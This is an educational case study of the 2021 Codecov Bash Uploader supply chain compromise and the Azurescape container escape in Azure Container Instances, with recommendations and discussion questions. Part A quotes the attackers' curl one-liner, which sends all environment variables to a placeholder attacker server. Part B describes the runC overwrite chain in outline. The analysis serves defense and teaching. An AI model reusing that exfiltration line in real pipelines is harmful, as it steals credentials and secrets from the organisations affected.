Case Study 2: Codecov Docker Supply Chain Compromise and Azurescape Cross-Tenant Container Escape

Overview

This case study examines two landmark container security incidents that illustrate different dimensions of the threat landscape. The Codecov supply chain attack (2021) demonstrates how a single compromised tool in a CI/CD pipeline can cascade into thousands of organizations' container environments. The Azurescape vulnerability (2021) demonstrates the terrifying possibility of escaping a container in a multi-tenant cloud environment and compromising other customers' workloads. Together, these incidents underscore that container security extends far beyond the container itself—encompassing the supply chain that builds containers and the infrastructure that hosts them.

Part A: The Codecov Supply Chain Attack

Background

Codecov is a popular code coverage reporting tool used by tens of thousands of software development teams. Its Bash Uploader script is executed in CI/CD pipelines to collect and upload code coverage data. Because it runs inside CI/CD environments—often Docker containers in build pipelines—the script has access to environment variables containing secrets: API tokens, registry credentials, cloud provider keys, and signing certificates.

The Attack

On January 31, 2021, attackers gained access to Codecov's Docker image creation process. They exploited a flaw in Codecov's CI pipeline that allowed them to extract credentials used to modify the Bash Uploader script.

The Compromise Chain:

1. Initial Access: Codecov's CI/CD process had a flaw in how it built Docker images. The attackers extracted a credential that allowed them to modify the Bash Uploader script (codecov-bash) hosted on Codecov's infrastructure.

2. Script Modification: The attackers added a single line to the Bash Uploader:

bash curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" \ https://ATTACKER_CONTROLLED_SERVER/upload/v2 || true

This line collected all environment variables from the CI/CD environment—including secrets—and exfiltrated them to an attacker-controlled server. The || true ensured the script continued normally even if the exfiltration failed, avoiding detection.

3. Persistence: The modified script remained in place from January 31 to April 1, 2021—over two months during which every CI/CD pipeline that used the Codecov Bash Uploader unknowingly sent their environment variables to the attackers.

4. Scale: An estimated 29,000+ organizations used Codecov. While not all used the Bash Uploader in every pipeline run, the potential scope of credential compromise was enormous.

What Was Exposed

The exfiltrated environment variables typically contained:

• Container Registry Credentials: Docker Hub, Amazon ECR, Google GCR, Azure ACR login tokens, allowing the attackers to push malicious images
• Cloud Provider Credentials: AWS access keys, GCP service account tokens, Azure service principal secrets
• CI/CD Tokens: GitHub tokens, GitLab tokens, Jenkins credentials
• Signing Keys: Code signing certificates and keys used to sign releases
• API Keys: Internal service API keys, third-party integration tokens
• Database Credentials: Connection strings with embedded passwords

Downstream Impacts

Several high-profile organizations confirmed they were affected:

• Twitch: Source code was later leaked (though the direct connection to Codecov is debated)
• HashiCorp: GPG signing key was compromised, requiring rotation and re-signing of releases
• Confluent: Internal credentials exposed
• Monday.com, Mercari, and others: Confirmed as affected organizations

📊 Supply Chain Attack Amplification: A single compromised tool affected 29,000+ organizations across 69+ days. This illustrates the multiplicative nature of supply chain attacks—the attacker compromised one target (Codecov) and gained access to thousands of downstream targets. In the container ecosystem, where tools like image builders, scanners, and deployers run in CI/CD pipelines, the blast radius of supply chain compromise is immense.

Why Docker and Containers Were Central

The Codecov attack specifically exploited the container build pipeline:

1. Docker Build Context: The attack originated from a flaw in Codecov's Docker image build process, demonstrating that even the tooling used to create containers can be a vulnerability.

2. CI/CD Container Environments: The Bash Uploader ran inside Docker containers in CI/CD pipelines, where environment variables are the standard mechanism for passing secrets. The containerized CI/CD model concentrates secrets in predictable locations.

3. Container Registry Impact: Exfiltrated registry credentials could have allowed the attackers to push malicious container images to any affected organization's private registry—a second-order supply chain attack.

4. Trust Chain Destruction: Organizations trusted the Codecov script because it was downloaded from an official source. The container supply chain depends on trust in upstream components, and this trust was violated at a fundamental level.

Detection and Response

The attack was discovered on April 1, 2021, when a Codecov customer noticed that the SHA-256 hash of the Bash Uploader script downloaded from Codecov did not match the hash in their GitHub repository. This simple integrity check—comparing a downloaded artifact against a known-good reference—caught what automated security tools missed for over two months.

Why Detection Took So Long:

• The modified script continued to function normally (coverage reports were still uploaded)
• The exfiltration used HTTPS, making network-level detection difficult
• The single added line was subtle and could be overlooked in a code review
• Most organizations did not verify the integrity of the Bash Uploader script before execution

Part B: Azurescape — Cross-Tenant Container Escape

Background

Azure Container Instances (ACI) is Microsoft's serverless container platform. Customers deploy containers without managing the underlying infrastructure—Microsoft handles the host operating system, container runtime, and isolation between different customers' containers. Under the hood, ACI used a multi-tenant architecture where multiple customers' containers ran on shared infrastructure.

The Vulnerability (CVE-2021-41367)

In September 2021, Palo Alto Networks' Unit 42 research team discovered Azurescape—the first known cross-tenant container escape in a public cloud platform.

The Escape Chain:

1. Container Escape to Host Node: The researchers discovered that ACI ran containers using an outdated version of the runC container runtime (version 1.0.0-rc2) that was vulnerable to CVE-2019-5736. This vulnerability allows a malicious container to overwrite the host's runC binary and gain code execution on the host.

2. Node Compromise: After escaping the container, the attacker had access to the host node—a virtual machine running multiple customers' containers. The node contained: - Other customers' container filesystems - Kubernetes tokens and certificates - Network access to the cluster's internal services

3. Kubernetes Cluster Access: The escaped container could access the Kubernetes API server using the node's kubelet credentials. The researchers found they could: - List all pods across all tenants on the cluster - Execute commands in other customers' containers - Access other customers' Secrets and ConfigMaps - Potentially take control of the entire multi-tenant cluster

4. Cross-Tenant Impact: The fundamental issue was that the "serverless" container platform shared infrastructure between tenants without sufficient isolation. A container escape broke not just the attacker's own containment but the isolation between all tenants on the same host.

Technical Details

The runC Exploit (CVE-2019-5736): The vulnerability allowed a malicious container process to overwrite the host's /usr/bin/runc binary. When any user (including automated orchestration systems) subsequently executed runc to manage containers, the attacker's code would run with host-level privileges.

Malicious Container → Overwrites host runC binary →
Host executes overwritten runC → Attacker code runs as root on host →
Access to all containers on the node

Why the Vulnerability Was Present: ACI used an older version of runC that contained the known CVE. The multi-tenant service had not been updated to a patched version, despite the vulnerability being publicly known since February 2019. This is a common pattern: cloud providers manage complex infrastructure stacks where some components may lag behind on patches.

The Multi-Tenancy Failure: ACI's architecture relied on container isolation as a security boundary between tenants. When that isolation failed, there was no secondary barrier preventing access to other tenants' workloads:

• No VM-level isolation between different customers' containers
• Shared Kubernetes cluster with tenant separation only through namespaces
• Node-level kubelet credentials accessible after escape
• No runtime monitoring to detect the escape

Impact Assessment

🔴 Critical Severity: Azurescape represented a worst-case scenario for cloud container security:

• Confidentiality: An attacker could read any other tenant's data, Secrets, environment variables, and application code
• Integrity: An attacker could modify other tenants' running containers, inject malicious code, or alter application behavior
• Availability: An attacker could terminate other tenants' containers or disrupt the entire cluster
• Trust: The fundamental premise of cloud computing—that the provider isolates tenants from each other—was broken

Microsoft's Response

After responsible disclosure by Unit 42:

1. Immediate Patching: Microsoft updated the runC version across all ACI infrastructure
2. Architecture Changes: Microsoft enhanced the isolation architecture for ACI, adding additional security boundaries between tenants
3. Customer Notification: Affected customers were notified and advised to rotate credentials
4. Bug Bounty: Microsoft awarded Unit 42 a bug bounty for the responsible disclosure
5. No Evidence of Exploitation: Microsoft stated they found no evidence that the vulnerability had been exploited by malicious actors before the disclosure

Combined Analysis: Lessons for Container Security

Supply Chain and Infrastructure — The Complete Picture

The Codecov and Azurescape incidents together paint a comprehensive picture of container security risks:

Key Takeaways for Penetration Testers

1. Assess the Entire Supply Chain: Do not limit container assessments to running containers. Evaluate the CI/CD pipeline, image build process, dependency sources, and tool integrity.

2. Test Multi-Tenancy Boundaries: In shared environments, test whether tenant isolation actually holds. Can one tenant's workload access another's resources?

3. Check Runtime Versions: Identify the container runtime (runc, containerd, CRI-O) and version. Cross-reference against known CVEs.

4. Evaluate Secret Handling in CI/CD: How are secrets injected into build pipelines? Are they exposed as environment variables? Are they rotated? Can they be extracted?

5. Verify Integrity of Downloaded Tools: Do CI/CD pipelines verify the integrity of tools they download and execute? Is there hash verification or signature checking?

Recommendations for Organizations

✅ Comprehensive Container Security Posture:

Supply Chain Security: - Pin all CI/CD tools to specific versions with hash verification - Sign and verify container images at every stage - Minimize secrets in CI/CD environment variables; use short-lived credentials - Regularly audit all tools that run in build pipelines - Implement SBOM (Software Bill of Materials) for all images

Infrastructure Security: - Use VM-isolated container runtimes (Kata Containers, Firecracker) for multi-tenant workloads - Keep container runtimes patched and up to date - Implement runtime monitoring (Falco, Sysdig) for escape detection - Use admission controllers to enforce security policies - Enable audit logging at all levels (Kubernetes, container runtime, host OS)

Cloud-Specific: - For multi-tenant workloads, use dedicated node pools or VM-level isolation - Do not rely solely on container-level isolation for security boundaries - Implement defense in depth: even if one layer fails, others should contain the blast radius - Regularly review cloud provider security advisories and incident reports

Discussion Questions

1. The Codecov attack went undetected for 69 days. Design a detection strategy that would have caught this attack earlier. What specific indicators would you monitor?

2. Azurescape relied on a known, patched CVE (CVE-2019-5736) that was over two years old at the time of discovery in ACI. What does this tell us about patch management in cloud infrastructure?

3. How should the shared responsibility model be interpreted for container security in cloud environments? Where does the cloud provider's responsibility end and the customer's begin?

4. The Codecov attacker chose to exfiltrate credentials rather than modify the code coverage results. What other attack strategies could a compromised CI/CD tool enable?

5. Compare the risk of running containers in a multi-tenant cloud environment versus managing your own single-tenant Kubernetes cluster. What are the trade-offs?

Timeline

Codecov

Azurescape

References

1. Codecov, "Bash Uploader Security Update," April 15, 2021, https://about.codecov.io/security-update/
2. Palo Alto Networks Unit 42, "Azurescape — Breaking out of Azure Container Instances," December 2021.
3. NIST, CVE-2019-5736 — runC Container Escape, https://nvd.nist.gov/vuln/detail/CVE-2019-5736
4. Reuters, "Codecov hackers breached hundreds of restricted customer networks," April 2021.
5. Ariel Zelivansky, Yuval Avrahami, "Finding Azurescape — Cross-Account Container Takeover in Azure Container Instances," Palo Alto Networks, 2021.
6. HashiCorp, "Codecov Security Event and HashiCorp GPG Key Exposure," April 2021.